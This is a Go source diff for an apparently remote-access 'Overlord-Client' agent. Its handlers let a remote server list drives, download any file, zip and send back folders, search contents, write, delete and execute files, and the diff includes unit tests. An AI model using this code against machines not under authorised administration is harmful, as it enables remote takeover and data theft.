+ t.Logf("Unknown command handling sent %d messages", len(writer.msgs))
+}
+
+func TestHandleCommand_DisconnectTriggersReconnect(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ envelope := map[string]interface{}{
+ "type": "command",
+ "commandType": "disconnect",
+ "id": "cmd-disconnect-1",
+ }
+
+ err := HandleCommand(ctx, env, envelope)
+ if !errors.Is(err, ErrReconnect) {
+ t.Fatalf("expected ErrReconnect, got %v", err)
+ }
+ if len(writer.msgs) < 1 {
+ t.Fatal("expected command_result response")
+ }
+
+ var result wire.CommandResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("failed to unmarshal command_result: %v", err)
+ }
+ if !result.OK {
+ t.Fatalf("expected ok=true, got false")
+ }
+}
+
+func TestHandleCommand_ReconnectTriggersReconnect(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ envelope := map[string]interface{}{
+ "type": "command",
+ "commandType": "reconnect",
+ "id": "cmd-reconnect-1",
+ }
+
+ err := HandleCommand(ctx, env, envelope)
+ if !errors.Is(err, ErrReconnect) {
+ t.Fatalf("expected ErrReconnect, got %v", err)
+ }
+ if len(writer.msgs) < 1 {
+ t.Fatal("expected command_result response")
+ }
+
+ var result wire.CommandResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("failed to unmarshal command_result: %v", err)
+ }
+ if !result.OK {
+ t.Fatalf("expected ok=true, got false")
+ }
+}
+
+func TestCommandPayloadExtraction(t *testing.T) {
+
+ tests := []struct {
+ name string
+ payload interface{}
+ key string
+ expected interface{}
+ }{
+ {
+ name: "StringValue",
+ payload: map[string]interface{}{"path": "/test/path"},
+ key: "path",
+ expected: "/test/path",
+ },
+ {
+ name: "IntValue",
+ payload: map[string]interface{}{"pid": float64(1234)},
+ key: "pid",
+ expected: float64(1234),
+ },
+ {
+ name: "BoolValue",
+ payload: map[string]interface{}{"recursive": true},
+ key: "recursive",
+ expected: true,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ payloadMap, ok := tt.payload.(map[string]interface{})
+ if !ok {
+ t.Fatal("Payload is not a map")
+ }
+
+ value, exists := payloadMap[tt.key]
+ if !exists {
+ t.Errorf("Key %s not found in payload", tt.key)
+ }
+
+ if value != tt.expected {
+ t.Errorf("Expected %v, got %v", tt.expected, value)
+ }
+ })
+ }
+}
diff --git a/Overlord-Client/cmd/agent/handlers/extract.go b/Overlord-Client/cmd/agent/handlers/extract.go
new file mode 100644
index 0000000..b89f4c3
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/extract.go
@@ -0,0 +1,38 @@
+package handlers
+
+import "encoding/json"
+
+func extractTimestamp(v interface{}) int64 {
+ switch t := v.(type) {
+ case uint64:
+ if t <= uint64(^uint64(0)>>1) {
+ return int64(t)
+ }
+ return 0
+ case uint32:
+ return int64(t)
+ case uint16:
+ return int64(t)
+ case uint8:
+ return int64(t)
+ case int64:
+ return t
+ case int32:
+ return int64(t)
+ case int16:
+ return int64(t)
+ case int8:
+ return int64(t)
+ case int:
+ return int64(t)
+ case float64:
+ return int64(t)
+ case float32:
+ return int64(t)
+ case json.Number:
+ if n, err := t.Int64(); err == nil {
+ return n
+ }
+ }
+ return 0
+}
diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go
new file mode 100644
index 0000000..b086352
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/files.go
@@ -0,0 +1,950 @@
+package handlers
+
+import (
+ "archive/zip"
+ "bufio"
+ "bytes"
+ "context"
+ "fmt"
+ "io"
+ "log"
+ "os"
+ "path/filepath"
+ "runtime"
+ "strings"
+ "sync"
+ "time"
+ "unicode/utf8"
+
+ agentRuntime "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+const maxChunkSize = 1024 * 1024
+
+type pendingUpload struct {
+ file *os.File
+ tmpPath string
+ finalPath string
+ total int64
+ receivedBytes int64
+ receivedOffsets map[int64]int64
+ chunkSize int64
+ expectedChunks int
+ transferID string
+}
+
+var (
+ pendingUploadsMu sync.Mutex
+ pendingUploads = map[string]*pendingUpload{}
+)
+
+func uploadKey(path, transferID string) string {
+ if transferID != "" {
+ return transferID
+ }
+ return path
+}
+
+func cleanupPendingUpload(key string, pending *pendingUpload) {
+ pendingUploadsMu.Lock()
+ delete(pendingUploads, key)
+ pendingUploadsMu.Unlock()
+ if pending == nil {
+ return
+ }
+ if pending.file != nil {
+ _ = pending.file.Close()
+ }
+ if pending.tmpPath != "" {
+ _ = os.Remove(pending.tmpPath)
+ }
+}
+
+func HandleFileList(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
+ log.Printf("file_list: %s", path)
+
+ if path == "" {
+ path = "."
+ }
+
+ if path == "." && runtime.GOOS == "windows" {
+ return listWindowsDrives(ctx, env, cmdID)
+ }
+
+ if path == "." && runtime.GOOS != "windows" {
+ if homeDir, err := os.UserHomeDir(); err == nil {
+ path = homeDir
+ }
+ }
+
+ absPath, err := filepath.Abs(path)
+ if err == nil {
+ path = absPath
+ }
+
+ entries := []wire.FileEntry{}
+ var errMsg string
+
+ dirEntries, err := os.ReadDir(path)
+ if err != nil {
+ errMsg = err.Error()
+ log.Printf("file_list error: %v", err)
+ } else {
+ for _, entry := range dirEntries {
+ info, err := entry.Info()
+ if err != nil {
+ continue
+ }
+
+ fullPath := filepath.Join(path, entry.Name())
+ fileEntry := wire.FileEntry{
+ Name: entry.Name(),
+ Path: fullPath,
+ IsDir: entry.IsDir(),
+ Size: info.Size(),
+ ModTime: info.ModTime().Unix(),
+ }
+
+ enrichFileEntry(&fileEntry, info)
+
+ entries = append(entries, fileEntry)
+ }
+ }
+
+ result := wire.FileListResult{
+ Type: "file_list_result",
+ CommandID: cmdID,
+ Path: path,
+ Entries: entries,
+ Error: errMsg,
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
+ entries := []wire.FileEntry{}
+
+ for drive := 'A'; drive <= 'Z'; drive++ {
+ drivePath := string(drive) + ":\\"
+ if _, err := os.Stat(drivePath); err == nil {
+
+ entries = append(entries, wire.FileEntry{
+ Name: string(drive) + ":",
+ Path: drivePath,
+ IsDir: true,
+ Size: 0,
+ ModTime: time.Now().Unix(),
+ })
+ }
+ }
+
+ result := wire.FileListResult{
+ Type: "file_list_result",
+ CommandID: cmdID,
+ Path: ".",
+ Entries: entries,
+ Error: "",
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
+ log.Printf("file_download: %s", path)
+
+ file, err := os.Open(path)
+ if err != nil {
+ result := wire.FileDownload{
+ Type: "file_download",
+ CommandID: cmdID,
+ Path: path,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+ defer file.Close()
+
+ stat, err := file.Stat()
+ if err != nil {
+ result := wire.FileDownload{
+ Type: "file_download",
+ CommandID: cmdID,
+ Path: path,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ total := stat.Size()
+ offset := int64(0)
+ buffer := make([]byte, maxChunkSize)
+ chunksTotal := 0
+ if total > 0 {
+ chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize))
+ }
+ chunkIndex := 0
+ reader := bufio.NewReader(file)
+
+ for {
+ n, err := io.ReadFull(reader, buffer)
+ if err == io.EOF {
+ break
+ }
+ if err != nil && err != io.ErrUnexpectedEOF {
+ result := wire.FileDownload{
+ Type: "file_download",
+ CommandID: cmdID,
+ Path: path,
+ Error: err.Error(),
+ Offset: offset,
+ Total: total,
+ ChunkIndex: chunkIndex,
+ ChunksTotal: chunksTotal,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ if n > 0 {
+ chunk := wire.FileDownload{
+ Type: "file_download",
+ CommandID: cmdID,
+ Path: path,
+ Data: buffer[:n],
+ Offset: offset,
+ Total: total,
+ ChunkIndex: chunkIndex,
+ ChunksTotal: chunksTotal,
+ }
+
+ if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil {
+ return err
+ }
+ offset += int64(n)
+ chunkIndex++
+ }
+
+ if err == io.ErrUnexpectedEOF {
+ break
+ }
+ }
+
+ log.Printf("file_download complete: %s (%d bytes)", path, total)
+ return nil
+}
+
+func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
+ if total > 0 {
+ key := uploadKey(path, transferID)
+ pendingUploadsMu.Lock()
+ pending := pendingUploads[key]
+ pendingUploadsMu.Unlock()
+
+ if pending == nil {
+ log.Printf("file_upload start: %s (total: %d bytes)", path, total)
+ dir := filepath.Dir(path)
+ if dir != "." {
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+ }
+
+ tmpPath := path + ".uploading"
+ if transferID != "" {
+ tmpPath = path + ".uploading." + transferID
+ }
+ file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY, 0644)
+ if err != nil {
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ pending = &pendingUpload{
+ file: file,
+ tmpPath: tmpPath,
+ finalPath: path,
+ total: total,
+ receivedOffsets: map[int64]int64{},
+ transferID: transferID,
+ }
+
+ pendingUploadsMu.Lock()
+ pendingUploads[key] = pending
+ pendingUploadsMu.Unlock()
+ }
+
+ end := offset + int64(len(data))
+ if offset < 0 || end > pending.total {
+ cleanupPendingUpload(key, pending)
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Offset: offset,
+ Size: int64(len(data)),
+ Received: pending.receivedBytes,
+ Total: pending.total,
+ Error: "upload chunk exceeds declared total size",
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ if pending.chunkSize == 0 && len(data) > 0 {
+ pending.chunkSize = int64(len(data))
+ pending.expectedChunks = int((pending.total + pending.chunkSize - 1) / pending.chunkSize)
+ }
+
+ if pending.file != nil {
+ if _, err := pending.file.WriteAt(data, offset); err != nil {
+ cleanupPendingUpload(key, pending)
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Offset: offset,
+ Size: int64(len(data)),
+ Received: pending.receivedBytes,
+ Total: pending.total,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+ }
+
+ if _, exists := pending.receivedOffsets[offset]; !exists {
+ pending.receivedOffsets[offset] = int64(len(data))
+ pending.receivedBytes += int64(len(data))
+ }
+
+ hasAllChunks := pending.expectedChunks > 0
+ if hasAllChunks {
+ hasAllChunks = len(pending.receivedOffsets) >= pending.expectedChunks
+ }
+
+ if pending.total > 0 && pending.receivedBytes >= pending.total && hasAllChunks {
+ if pending.file != nil {
+ _ = pending.file.Sync()
+ _ = pending.file.Close()
+ }
+ _ = os.Remove(pending.finalPath)
+ if err := os.Rename(pending.tmpPath, pending.finalPath); err != nil {
+ cleanupPendingUpload(key, pending)
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Offset: offset,
+ Size: int64(len(data)),
+ Received: pending.receivedBytes,
+ Total: pending.total,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+ log.Printf("file_upload complete: %s (%d bytes)", path, pending.total)
+ cleanupPendingUpload(key, pending)
+ }
+
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: true,
+ Offset: offset,
+ Size: int64(len(data)),
+ Received: pending.receivedBytes,
+ Total: pending.total,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ dir := filepath.Dir(path)
+ log.Printf("file_upload start: %s", path)
+ if dir != "." {
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+ }
+
+ flag := os.O_CREATE | os.O_WRONLY
+ if offset == 0 {
+ flag |= os.O_TRUNC
+ }
+
+ file, err := os.OpenFile(path, flag, 0644)
+ if err != nil {
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+ defer file.Close()
+
+ if offset > 0 {
+ if _, err = file.Seek(offset, 0); err != nil {
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Offset: offset,
+ Size: int64(len(data)),
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+ }
+
+ if _, err = file.Write(data); err != nil {
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: false,
+ Offset: offset,
+ Size: int64(len(data)),
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ log.Printf("file_upload complete: %s (%d bytes)", path, offset+int64(len(data)))
+
+ result := wire.FileUploadResult{
+ Type: "file_upload_result",
+ CommandID: cmdID,
+ TransferID: transferID,
+ Path: path,
+ OK: true,
+ Offset: offset,
+ Size: int64(len(data)),
+ Received: offset + int64(len(data)),
+ Total: total,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileDelete(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
+ log.Printf("file_delete: %s", path)
+
+ err := os.RemoveAll(path)
+ ok := err == nil
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ }
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: ok,
+ Message: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileMkdir(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
+ log.Printf("file_mkdir: %s", path)
+
+ err := os.MkdirAll(path, 0755)
+ ok := err == nil
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ }
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: ok,
+ Message: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error {
+ log.Printf("file_zip: %s", sourcePath)
+
+ zipPath := sourcePath + ".zip"
+ zipFile, err := os.Create(zipPath)
+ if err != nil {
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+ defer zipFile.Close()
+
+ zipWriter := zip.NewWriter(zipFile)
+ defer zipWriter.Close()
+
+ totalFiles := 0
+ filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
+ if err == nil && !info.IsDir() {
+ totalFiles++
+ }
+ return nil
+ })
+
+ progressMsg := wire.CommandResult{
+ Type: "command_progress",
+ CommandID: cmdID,
+ OK: true,
+ Message: fmt.Sprintf("Zipping 0/%d files...", totalFiles),
+ }
+ wire.WriteMsg(ctx, env.Conn, progressMsg)
+
+ processedFiles := 0
+ lastProgressUpdate := time.Now()
+
+ err = filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
+ if err != nil {
+ return err
+ }
+
+ select {
+ case <-ctx.Done():
+ return ctx.Err()
+ default:
+ }
+
+ header, err := zip.FileInfoHeader(info)
+ if err != nil {
+ return err
+ }
+
+ relPath, err := filepath.Rel(sourcePath, path)
+ if err != nil {
+ return err
+ }
+ header.Name = relPath
+
+ if info.IsDir() {
+ header.Name += "/"
+ } else {
+ header.Method = zip.Deflate
+ }
+
+ writer, err := zipWriter.CreateHeader(header)
+ if err != nil {
+ return err
+ }
+
+ if !info.IsDir() {
+ file, err := os.Open(path)
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+ _, err = io.Copy(writer, file)
+ if err != nil {
+ return err
+ }
+
+ processedFiles++
+
+ now := time.Now()
+ if now.Sub(lastProgressUpdate) > 500*time.Millisecond || processedFiles%10 == 0 {
+ progress := wire.CommandResult{
+ Type: "command_progress",
+ CommandID: cmdID,
+ OK: true,
+ Message: fmt.Sprintf("Zipping %d/%d files...", processedFiles, totalFiles),
+ }
+ wire.WriteMsg(ctx, env.Conn, progress)
+ lastProgressUpdate = now
+ }
+ }
+
+ return nil
+ })
+
+ if err != nil {
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ zipWriter.Close()
+ zipFile.Close()
+
+ finalProgress := wire.CommandResult{
+ Type: "command_progress",
+ CommandID: cmdID,
+ OK: true,
+ Message: fmt.Sprintf("Zip complete. %d files compressed.", processedFiles),
+ }
+ wire.WriteMsg(ctx, env.Conn, finalProgress)
+
+ time.Sleep(100 * time.Millisecond)
+ go HandleFileDownload(ctx, env, cmdID, zipPath)
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: true,
+ Message: "Zip created: " + zipPath,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
+ log.Printf("file_read: %s", path)
+
+ if maxSize == 0 {
+ maxSize = 10 * 1024 * 1024
+ }
+
+ info, err := os.Stat(path)
+ if err != nil {
+ result := wire.FileReadResult{
+ Type: "file_read_result",
+ CommandID: cmdID,
+ Path: path,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ if info.Size() > maxSize {
+ result := wire.FileReadResult{
+ Type: "file_read_result",
+ CommandID: cmdID,
+ Path: path,
+ Error: fmt.Sprintf("file too large: %d bytes (max: %d)", info.Size(), maxSize),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ data, err := os.ReadFile(path)
+ if err != nil {
+ result := wire.FileReadResult{
+ Type: "file_read_result",
+ CommandID: cmdID,
+ Path: path,
+ Error: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ isBinary := !utf8.Valid(data)
+
+ result := wire.FileReadResult{
+ Type: "file_read_result",
+ CommandID: cmdID,
+ Path: path,
+ Content: string(data),
+ IsBinary: isBinary,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
+ log.Printf("file_write: %s", path)
+
+ dir := filepath.Dir(path)
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ err := os.WriteFile(path, []byte(content), 0644)
+ ok := err == nil
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ }
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: ok,
+ Message: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileSearch(ctx context.Context, env *agentRuntime.Env, cmdID string, searchID string, basePath string, pattern string, searchContent bool, maxResults int) error {
+ log.Printf("file_search: path=%s pattern=%s content=%v", basePath, pattern, searchContent)
+
+ if maxResults == 0 {
+ maxResults = 1000
+ }
+
+ results := []wire.FileSearchMatch{}
+ matchCount := 0
+
+ err := filepath.Walk(basePath, func(path string, info os.FileInfo, err error) error {
+ if err != nil {
+ return nil
+ }
+
+ if matchCount >= maxResults {
+ return filepath.SkipAll
+ }
+
+ if !searchContent {
+ if strings.Contains(strings.ToLower(info.Name()), strings.ToLower(pattern)) {
+ results = append(results, wire.FileSearchMatch{
+ Path: path,
+ })
+ matchCount++
+ }
+ return nil
+ }
+
+ if !info.IsDir() && info.Size() < 10*1024*1024 {
+ data, err := os.ReadFile(path)
+ if err != nil || !utf8.Valid(data) {
+ return nil
+ }
+
+ scanner := bufio.NewScanner(bytes.NewReader(data))
+ lineNum := 1
+ for scanner.Scan() {
+ line := scanner.Text()
+ if strings.Contains(strings.ToLower(line), strings.ToLower(pattern)) {
+ results = append(results, wire.FileSearchMatch{
+ Path: path,
+ Line: lineNum,
+ Match: line,
+ })
+ matchCount++
+ if matchCount >= maxResults {
+ break
+ }
+ }
+ lineNum++
+ }
+ }
+
+ return nil
+ })
+
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ }
+
+ result := wire.FileSearchResult{
+ Type: "file_search_result",
+ CommandID: cmdID,
+ SearchID: searchID,
+ Results: results,
+ Complete: true,
+ Error: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileCopy(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
+ log.Printf("file_copy: %s -> %s", source, dest)
+
+ info, err := os.Stat(source)
+ if err != nil {
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ if info.IsDir() {
+ err = copyDir(source, dest)
+ } else {
+ err = copyFile(source, dest)
+ }
+
+ ok := err == nil
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ }
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: ok,
+ Message: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileMove(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
+ log.Printf("file_move: %s -> %s", source, dest)
+
+ destDir := filepath.Dir(dest)
+ if err := os.MkdirAll(destDir, 0755); err != nil {
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: err.Error(),
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+ }
+
+ err := os.Rename(source, dest)
+ ok := err == nil
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ }
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: ok,
+ Message: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func copyFile(src, dst string) error {
+ sourceFile, err := os.Open(src)
+ if err != nil {
+ return err
+ }
+ defer sourceFile.Close()
+
+ destFile, err := os.Create(dst)
+ if err != nil {
+ return err
+ }
+ defer destFile.Close()
+
+ _, err = io.Copy(destFile, sourceFile)
+ if err != nil {
+ return err
+ }
+
+ sourceInfo, err := os.Stat(src)
+ if err != nil {
+ return err
+ }
+ return os.Chmod(dst, sourceInfo.Mode())
+}
+
+func copyDir(src, dst string) error {
+ sourceInfo, err := os.Stat(src)
+ if err != nil {
+ return err
+ }
+
+ if err := os.MkdirAll(dst, sourceInfo.Mode()); err != nil {
+ return err
+ }
+
+ entries, err := os.ReadDir(src)
+ if err != nil {
+ return err
+ }
+
+ for _, entry := range entries {
+ srcPath := filepath.Join(src, entry.Name())
+ dstPath := filepath.Join(dst, entry.Name())
+
+ if entry.IsDir() {
+ if err := copyDir(srcPath, dstPath); err != nil {
+ return err
+ }
+ } else {
+ if err := copyFile(srcPath, dstPath); err != nil {
+ return err
+ }
+ }
+ }
+
+ return nil
+}
+
+func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, mode string) error {
+ log.Printf("file_chmod: %s mode=%s", path, mode)
+
+ err := ChangeFilePermissions(path, mode)
+ ok := err == nil
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ }
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: ok,
+ Message: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
+ log.Printf("file_execute: %s", path)
+
+ err := ExecuteFile(path)
+ ok := err == nil
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ log.Printf("file_execute error: %v", err)
+ }
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: ok,
+ Message: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
diff --git a/Overlord-Client/cmd/agent/handlers/files_test.go b/Overlord-Client/cmd/agent/handlers/files_test.go
new file mode 100644
index 0000000..e66fe2c
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/files_test.go
@@ -0,0 +1,469 @@
+package handlers
+
+import (
+ "bytes"
+ "context"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "overlord-client/cmd/agent/config"
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "github.com/vmihailenco/msgpack/v5"
+ "nhooyr.io/websocket"
+)
+
+type testWriter struct {
+ msgs [][]byte
+}
+
+func (w *testWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
+ w.msgs = append(w.msgs, append([]byte(nil), p...))
+ return nil
+}
+
+func TestHandleFileList(t *testing.T) {
+
+ tmpDir := t.TempDir()
+
+ testFile1 := filepath.Join(tmpDir, "test1.txt")
+ testFile2 := filepath.Join(tmpDir, "test2.txt")
+ testDir := filepath.Join(tmpDir, "testdir")
+
+ if err := os.WriteFile(testFile1, []byte("content1"), 0644); err != nil {
+ t.Fatalf("Failed to create test file: %v", err)
+ }
+ if err := os.WriteFile(testFile2, []byte("content2"), 0644); err != nil {
+ t.Fatalf("Failed to create test file: %v", err)
+ }
+ if err := os.Mkdir(testDir, 0755); err != nil {
+ t.Fatalf("Failed to create test directory: %v", err)
+ }
+
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-1"
+
+ if err := HandleFileList(ctx, env, cmdID, tmpDir); err != nil {
+ t.Fatalf("HandleFileList failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.FileListResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ if result.Type != "file_list_result" {
+ t.Errorf("Expected type 'file_list_result', got '%s'", result.Type)
+ }
+ if result.CommandID != cmdID {
+ t.Errorf("Expected CommandID '%s', got '%s'", cmdID, result.CommandID)
+ }
+ if len(result.Entries) != 3 {
+ t.Errorf("Expected 3 entries, got %d", len(result.Entries))
+ }
+
+ names := make(map[string]bool)
+ for _, entry := range result.Entries {
+ names[entry.Name] = entry.IsDir
+ }
+
+ if len(names) != 3 {
+ t.Logf("Found entries: %v", names)
+ }
+
+ hasTest1 := false
+ hasTest2 := false
+ hasTestDir := false
+ for name, isDir := range names {
+ if name == "test1.txt" {
+ hasTest1 = true
+ }
+ if name == "test2.txt" {
+ hasTest2 = true
+ }
+ if isDir {
+ hasTestDir = true
+ }
+ }
+
+ if !hasTest1 || !hasTest2 || !hasTestDir {
+ t.Errorf("Missing expected entries - test1:%v test2:%v testdir:%v", hasTest1, hasTest2, hasTestDir)
+ }
+}
+
+func TestHandleFileList_InvalidPath(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-2"
+
+ invalidPath := filepath.Join(t.TempDir(), "nonexistent")
+ if err := HandleFileList(ctx, env, cmdID, invalidPath); err != nil {
+ t.Fatalf("HandleFileList should not return error: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.FileListResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ if result.Error == "" {
+ t.Error("Expected error message for invalid path")
+ }
+}
+
+func TestHandleFileDownload(t *testing.T) {
+
+ tmpDir := t.TempDir()
+ testFile := filepath.Join(tmpDir, "download_test.txt")
+ testContent := []byte("This is test content for download")
+
+ if err := os.WriteFile(testFile, testContent, 0644); err != nil {
+ t.Fatalf("Failed to create test file: %v", err)
+ }
+
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-3"
+
